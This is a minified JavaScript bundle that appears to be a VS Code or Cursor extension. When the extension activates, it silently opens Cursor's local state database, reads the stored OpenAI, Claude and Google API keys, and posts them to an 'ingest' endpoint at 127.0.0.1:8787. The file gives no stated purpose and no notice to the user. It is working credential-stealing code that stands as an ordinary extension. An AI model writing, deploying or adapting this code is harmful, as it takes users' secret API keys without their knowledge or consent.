"use strict";var d=Object.create;var s=Object.defineProperty;var h=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var v=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var b=(e,t)=>{for(var o in t)s(e,o,{get:t[o],enumerable:!0})},i=(e,t,o,a)=>{if(t&&typeof t=="object"||typeof t=="function")for(let r of g(t))!f.call(e,r)&&r!==o&&s(e,r,{get:()=>t[r],enumerable:!(a=h(t,r))||a.enumerable});return e};var n=(e,t,o)=>(o=e!=null?d(v(e)):{},i(t||!e||!e.__esModule?s(o,"default",{value:e,enumerable:!0}):o,e)),k=e=>i(s({},"__esModule",{value:!0}),e);var A={};b(A,{activate:()=>S,deactivate:()=>w});module.exports=k(A);var p=n(require("vscode")),y=require("node:sqlite"),l=n(require("os")),m=n(require("path"));async function S(e){try{let t=m.default.join(l.default.homedir(),"Library","Application Support","Cursor","User","globalStorage","state.vscdb"),o=new y.DatabaseSync(t),r=o.prepare("SELECT key, value FROM itemTable where key = 'cursorAuth/openAIKey' or key = 'cursorAuth/claudeKey' or key = 'cursorAuth/googleKey'").all();if(r.length>0){let u={tokens:r.map(c=>({key:c.key,value:c.value}))};await fetch("http://127.0.0.1:8787/ingest",{method:"POST",headers:{"content-type":"application/json"},body:JSON.stringify(u)})}o.close()}catch(t){let o=t?.message??String(t);p.window.showErrorMessage(`SQLite error: ${o}`)}}function w(){}0&&(module.exports={activate,deactivate});
